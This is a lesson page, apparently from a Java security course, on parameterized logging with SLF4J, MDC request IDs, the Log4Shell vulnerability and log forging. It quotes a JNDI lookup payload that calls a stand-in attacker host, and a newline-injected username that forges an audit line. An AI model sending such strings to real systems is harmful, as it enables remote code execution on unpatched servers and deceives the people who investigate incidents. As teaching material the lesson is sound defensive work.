Lesson 13 of 14 · 26m
Logging That Survives an Incident: SLF4J, MDC, and Log4Shell
Parameterized logging, per-request correlation, why a logging library carried CVE-2021-44228, and the log-forging trap.
At 2 a.m. an incident channel needs to know whether the order service's errors started before the deploy or after. Someone runs grep ERROR app.log and gets back a wall of interleaved System.out.println from forty threads — no request IDs, no structure, no way to correlate one user's failure across three services. Logging is the observability layer you already own; this is how to make it answer questions instead of storing noise.
The facade and the backend
SLF4J is the API; Logback is the implementation Spring Boot wires by default, and log4j2 is the other production-grade backend. You write against org.slf4j.Logger so the backend stays swappable — the code never imports ch.qos.logback or org.apache.logging.log4j directly.
private static final Logger log = LoggerFactory.getLogger(OrderService.class);
log.info("order {} placed by user {}", orderId, userId);The {} placeholders are not a style choice — they're lazy concatenation. If info is disabled, the strings are never built; log.info("order " + orderId + " placed") pays the concat cost on every call whether anyone reads it or not.
Levels are an operational contract, not a spectrum: ERROR means a human should see it, WARN means degrading but alive, INFO means lifecycle events a stranger can follow, DEBUG/TRACE mean development. An endpoint that logs ERROR on a user typo trains operators to ignore ERROR — the alert that matters gets lost in the ones that don't.
MDC: the request ID that makes logs useful
MDC — mapped diagnostic context — is a per-thread key/value store the logging pattern can print. Drop a filter at the edge that sets MDC.put("requestId", id) and every line from that request carries it:
// logback.xml / log4j2 pattern:
%d{ISO8601} %-5level [%X{requestId}] %logger{36} - %msg%nNow grep requestId=abc-123 reconstructs one request across threads and async hops — pass it into your async executor or it dies at the pool boundary. On virtual threads MDC still works; on CompletableFuture chains you copy it by hand or use a TaskDecorator.
Structured output — logstash-logback-encoder for JSON — turns the log from a string you grep into a document you query. That is the entire difference between an incident you can filter and a wall of text you can't.
Log4Shell: why a logging library is in a security course
On December 9, 2021, a proof-of-concept appeared: any string logged by log4j2 containing ${jndi:ldap://attacker/x} caused the library to fetch and load a remote class — RCE from a User-Agent header. CVE-2021-44228, CVSS 10.0, every log4j-core from 2.0-beta9 to 2.14.1. The fix took three releases: 2.15.0 was incomplete (CVE-2021-45046), 2.16.0 removed message lookups entirely and disabled JNDI by default, 2.17.0 closed the rest.
The causal chain matters more than the number: a logging library shipped with a network fetch feature nobody asked it to have, and a format string in user-controlled input became code execution. The lesson isn't "upgrade log4j" — it's "audit what your dependencies' appenders and formatters can do," because the parser is a boundary too. JNDI lookups, SMTP appenders that send mail, JDBC appenders that write to a database — every one is a feature a payload can reach.
Log forging and the last trap
Attacker-controlled strings written to a log carry newlines: username = "admin\nINFO login succeeded" produces a fake audit line (CWE-117). Encode untrusted input or emit JSON — the encoder escapes it — and treat log content as untrusted in every dashboard that renders it.
Try this
Add MDC.put("requestId", UUID.randomUUID().toString()) in a servlet filter, add %X{requestId} to the pattern, fire two overlapping requests, and grep. Then write a ${jndi:ldap://...}-style string as a username — on a current log4j2 it logs literally; on a 2.14 jar it would have been a remote call.
Pitfalls
- Async appenders trade durability for latency: on a JVM crash the last lines may be lost — the ones that would have explained the crash.
- Never log credentials, auth headers, or PII: a
log.info(request)on a JSON object is onepasswordfield away from a credential leak into every downstream index. toString()on a lazy JPA collection inside a log call fires a query per log line — log fields, not entities.
Was this lesson helpful?
Keep reading
Related articles from the SudoSecurity blog.
Java Pulled Primitive Patterns After Five Previews. JDK 28 Won't Compile Them.
Primitive types in patterns, instanceof, and switch previewed in every JDK from 23 to 27. On November 9 the Amber team withdrew the feature, and it won't be in JDK 28 even with --enable-preview. Here's why Valhalla changed the plan, what replaces it, and how to rewrite code that used it.
Your Minecraft Server Wants Java 25, Not Java 26
Every six months the same thread appears and nobody maps the JVM engineering onto what a Minecraft server actually does. This does — version by version, with the flag most guides still tell you to set that will eventually stop your server from booting.
Java 20: What's Coming Next
With Java 19 having just arrived on September 20, Java 20 is next on the docket, expected in March 2023. The release potentially could add new functionality for universal generics, immutable data, and string templates and finalize capabilities such as record patterns. The current OpenJDK…
What's next for Java? JDK 20 is coming soon
With Java 19 having just arrived on September 20, Java 20 is next on the docket, expected in March 2023. The release potentially could add new functionality for universal generics, immutable data, and string templates and finalize capabilities such as record patterns. Why is it named Java?When…